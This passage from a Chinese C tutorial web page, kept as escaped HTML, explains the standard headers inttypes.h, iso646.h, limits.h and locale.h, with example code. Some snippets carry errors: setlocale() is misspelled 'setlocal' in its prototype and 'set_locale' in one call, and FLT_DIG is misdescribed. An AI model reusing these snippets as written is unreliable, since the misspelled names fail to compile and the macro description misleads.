u003ccode\u003eLDBL_MAX\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(4)浮点数类型的最小正值\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MIN\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MIN\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MIN\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(5)两个同类型浮点数之间可表示的最小差值(最小精度)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_EPSILON\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_EPSILON\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_EPSILON\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(6)\u003ccode\u003eDECIMAL_DIG\u003c/code\u003e\u003c/p\u003e\u003cp\u003e宏\u003ccode\u003eDECIMAL_DIG\u003c/code\u003e表示十进制有效位数。\u003c/p\u003e\u003cp\u003e(7)\u003ccode\u003eFLT_EVAL_METHOD\u003c/code\u003e\u003c/p\u003e\u003cp\u003e宏\u003ccode\u003eFLT_EVAL_METHOD\u003c/code\u003e表示浮点数运算时的类型转换。\u003c/p\u003e\u003cp\u003e它可能有以下值。\u003c/p\u003e\u003cul\u003e\u003cli\u003e-1:不确定。\u003c/li\u003e\u003cli\u003e0:在当前类型中运算。\u003c/li\u003e\u003cli\u003e1:float 和 double 类型的运算使用 double 类型的范围和精度求值。\u003c/li\u003e\u003cli\u003e2:所有浮点数类型的运算使用 long double 类型的范围和精度求值。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(8)浮点数尾数部分的个数\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MANT_DIG\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MANT_DIG\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MANT_DIG\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(9)浮点数指数部分有效数字的个数(十进制)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_DIG\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_DIG\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_DIG\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(10)科学计数法的指数部分的最小次幂(负数)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MIN_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MIN_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MIN_EXP\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(11)科学计数法的指数部分的十进制最小次幂(负数)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MIN_10_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MIN_10_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MIN_10_EXP\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(12)科学计数法的指数部分的最大次幂\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MAX_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MAX_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MAX_EXP\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e科学计数法的指数部分的十进制最大次幂\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MAX_10_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MAX_10_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MAX_10_EXP\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"inttypes-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#inttypes-h\" class=\"headerlink\" title=\"inttypes.h\"\u003e\u003c/a\u003einttypes.h\u003c/h2\u003e\u003cp\u003eC 语言还在头文件 inttypes.h 里面,为 stdint.h 定义的四类整数类型,提供了\u003ccode\u003eprintf()\u003c/code\u003e和\u003ccode\u003escanf()\u003c/code\u003e的占位符。\u003c/p\u003e\u003cul\u003e\u003cli\u003e固定宽度整数类型,比如 int8_t。\u003c/li\u003e\u003cli\u003e最小宽度整数类型,比如 int_least8_t。\u003c/li\u003e\u003cli\u003e最快最小宽度整数类型,比如 int_fast8_t。\u003c/li\u003e\u003cli\u003e最大宽度整数类型,比如 intmax_t。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e的占位符采用\u003ccode\u003ePRI + 原始占位符 + 类型关键字/宽度\u003c/code\u003e的形式构成。举例来说,原始占位符为\u003ccode\u003e%d\u003c/code\u003e,则对应的占位符如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003ePRIdn (固定宽度类型)\u003c/li\u003e\u003cli\u003ePRIdLEASTn (最小宽度类型)\u003c/li\u003e\u003cli\u003ePRIdFASTn (最快最小宽度类型)\u003c/li\u003e\u003cli\u003ePRIdMAX (最大宽度类型)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面占位符中的\u003ccode\u003en\u003c/code\u003e,可以用8、16、32、64代入。\u003c/p\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdint.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;inttypes.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint_least16_t\u003c/span\u003e x = \u003cspan class=\"number\"\u003e3490\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The value is %\u0026#34;\u003c/span\u003e PRIdLEAST16 \u003cspan class=\"string\"\u003e\u0026#34;!\\n\u0026#34;\u003c/span\u003e, x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ePRIdLEAST16\u003c/code\u003e对应的整数类型为 int_least16_t,原始占位符为\u003ccode\u003e%d\u003c/code\u003e。另外,\u003ccode\u003eprintf()\u003c/code\u003e的第一个参数用到了多个字符串自动合并的写法。\u003c/p\u003e\u003cp\u003e下面是其它的原始占位符对应的占位符。\u003c/p\u003e\u003cul\u003e\u003cli\u003e%i:PRIin PRIiLEASTn PRIiFASTn PRIiMAX\u003c/li\u003e\u003cli\u003e%o:PRIon PRIoLEASTn PRIoFASTn PRIoMAX\u003c/li\u003e\u003cli\u003e%u:PRIun PRIuLEASTn PRIuFASTn PRIuMAX\u003c/li\u003e\u003cli\u003e%x:PRIxn PRIxLEASTn PRIxFASTn PRIxMAX\u003c/li\u003e\u003cli\u003e%X:PRIXn PRIXLEASTn PRIXFASTn PRIXMAX\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e的占位符规则也与之类似。\u003c/p\u003e\u003cul\u003e\u003cli\u003e%d:SCNdn SCNdLEASTn SCNdFASTn SCNdMAX\u003c/li\u003e\u003cli\u003e%i:SCNin SCNiLEASTn SCNiFASTn SCNiMAX\u003c/li\u003e\u003cli\u003e%o:SCNon SCNoLEASTn SCNoFASTn SCNoMAX\u003c/li\u003e\u003cli\u003e%u:SCNun SCNuLEASTn SCNuFASTn SCNuMAX\u003c/li\u003e\u003cli\u003e%x:SCNxn SCNxLEASTn SCNxFASTn SCNxMAX\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"iso646-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#iso646-h\" class=\"headerlink\" title=\"iso646.h\"\u003e\u003c/a\u003eiso646.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003eiso646.h\u003c/code\u003e头文件指定了一些常见运算符的替代拼写。比如,它用关键字\u003ccode\u003eand\u003c/code\u003e代替逻辑运算符\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026gt; \u003cspan class=\"number\"\u003e6\u003c/span\u003e and x \u0026lt; \u003cspan class=\"number\"\u003e12\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026gt; \u003cspan class=\"number\"\u003e6\u003c/span\u003e \u0026amp;\u0026amp; x \u0026lt; \u003cspan class=\"number\"\u003e12\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它定义的替代拼写如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003eand 替代 \u0026amp;\u0026amp;\u003c/li\u003e\u003cli\u003eand_eq 替代 \u0026amp;=\u003c/li\u003e\u003cli\u003ebitand 替代 \u0026amp;\u003c/li\u003e\u003cli\u003ebitor 替代 |\u003c/li\u003e\u003cli\u003ecompl 替代 ~\u003c/li\u003e\u003cli\u003enot 替代 !\u003c/li\u003e\u003cli\u003enot_eq 替代 !=\u003c/li\u003e\u003cli\u003eor 替代 ||\u003c/li\u003e\u003cli\u003eor_eq 替代 |=\u003c/li\u003e\u003cli\u003exor 替代 ^\u003c/li\u003e\u003cli\u003exor_eq 替代 ^=\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"limits-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#limits-h\" class=\"headerlink\" title=\"limits.h\"\u003e\u003c/a\u003elimits.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003elimits.h\u003c/code\u003e提供了用来定义各种整数类型(包括字符类型)取值范围的宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eCHAR_BIT\u003c/code\u003e:每个字符包含的二进制位数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSCHAR_MIN\u003c/code\u003e:signed char 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSCHAR_MAX\u003c/code\u003e:signed char 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUCHAR_MAX\u003c/code\u003e:unsiged char 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eCHAR_MIN\u003c/code\u003e:char 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eCHAR_MAX\u003c/code\u003e:char 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMB_LEN_MAX\u003c/code\u003e:多字节字符最多包含的字节数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHRT_MIN\u003c/code\u003e:short int 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHRT_MAX\u003c/code\u003e:short int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUSHRT_MAX\u003c/code\u003e:unsigned short int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eINT_MIN\u003c/code\u003e:int 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eINT_MAX\u003c/code\u003e:int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUINT_MAX\u003c/code\u003e:unsigned int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLONG_MIN\u003c/code\u003e:long int 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLONG_MAX\u003c/code\u003e:long int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eULONG_MAX\u003c/code\u003e:unsigned long int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLLONG_MIN\u003c/code\u003e:long long int 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLLONG_MAX\u003c/code\u003e:long long int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eULLONG_MAX\u003c/code\u003e:unsigned long long int 类型的最大值。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面的示例是使用预处理指令判断,int 类型是否可以用来存储大于 100000 的数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e INT_MAX \u0026lt; 100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eerror\u003c/span\u003e int type is too small\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果 int 类型太小,预处理器会显示一条出错消息。\u003c/p\u003e\u003cp\u003e可以使用\u003ccode\u003elimit.h\u003c/code\u003e里面的宏,为类型别名选择正确的底层类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e INT_MAX \u0026gt;= 100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e Quantity;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e Quantity;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果整数类型的最大值(\u003ccode\u003eINT_MAX\u003c/code\u003e)不小于100000,那么类型别名\u003ccode\u003eQuantity\u003c/code\u003e指向\u003ccode\u003eint\u003c/code\u003e,否则就指向\u003ccode\u003elong int\u003c/code\u003e。\u003c/p\u003e\u003ch2 id=\"locale-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#locale-h\" class=\"headerlink\" title=\"locale.h\"\u003e\u003c/a\u003elocale.h\u003c/h2\u003e\u003ch3 id=\"简介-10\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-10\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e\u003ccode\u003elocale.h\u003c/code\u003e是程序的本地化设置,主要影响以下的行为。\u003c/p\u003e\u003cul\u003e\u003cli\u003e数字格式\u003c/li\u003e\u003cli\u003e货币格式\u003c/li\u003e\u003cli\u003e字符集\u003c/li\u003e\u003cli\u003e日期和时间格式\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它设置了以下几个宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003eLC_COLLATE:影响字符串比较函数\u003ccode\u003estrcoll()\u003c/code\u003e和\u003ccode\u003estrxfrm()\u003c/code\u003e。\u003c/li\u003e\u003cli\u003eLC_CTYPE:影响字符处理函数的行为。\u003c/li\u003e\u003cli\u003eLC_MONETARY:影响货币格式。\u003c/li\u003e\u003cli\u003eLC_NUMERIC:影响\u003ccode\u003eprintf()\u003c/code\u003e的数字格式。\u003c/li\u003e\u003cli\u003eLC_TIME:影响时间格式\u003ccode\u003estrftime()\u003c/code\u003e和\u003ccode\u003ewcsftime()\u003c/code\u003e。\u003c/li\u003e\u003cli\u003eLC_ALL:将以上所有类别设置为给定的语言环境。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"setlocale\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#setlocale\" class=\"headerlink\" title=\"setlocale()\"\u003e\u003c/a\u003esetlocale()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esetlocale()\u003c/code\u003e用来设置当前的地区。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003esetlocal\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e category, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* locale)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数。第一个参数表示影响范围,如果值为前面五个表示类别的宏之一,则只影响该宏对应的类别,如果值为\u003ccode\u003eLC_ALL\u003c/code\u003e,则影响所有类别。第二个参数通常只为\u003ccode\u003e\u0026#34;C\u0026#34;\u003c/code\u003e(正常模式)或\u003ccode\u003e\u0026#34;\u0026#34;\u003c/code\u003e(本地模式)。\u003c/p\u003e\u003cp\u003e任意程序开始时,都隐含下面的调用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面的语句将格式本地化。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eset_locale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第二个参数为空字符,表示使用当前环境提供的本地化设置。\u003c/p\u003e\u003cp\u003e理论上,第二个参数也可以设为当前系统支持的某种格式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;en_US.UTF-8\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e但是这样的话,程序的可移植性就变差了,因为无法保证其他系统也会支持那种格式。所以,通常都将第二个参数设为空字符串,使用操作系统的当前设置。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esetlocale()\u003c/code\u003e的返回值是一个字符串指针,表示已经设置好的格式。如果调用失败,则返回空指针 NULL。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esetlocale()\u003c/code\u003e可以用来查询当前地区,这时第二个参数设为 NULL 就可以了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *loc;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eloc = setlocale(LC_ALL, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Starting locale: C\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Starting locale: %s\\n\u0026#34;\u003c/span\u003e, loc);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eloc = setlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Native locale: en_US.UTF-8 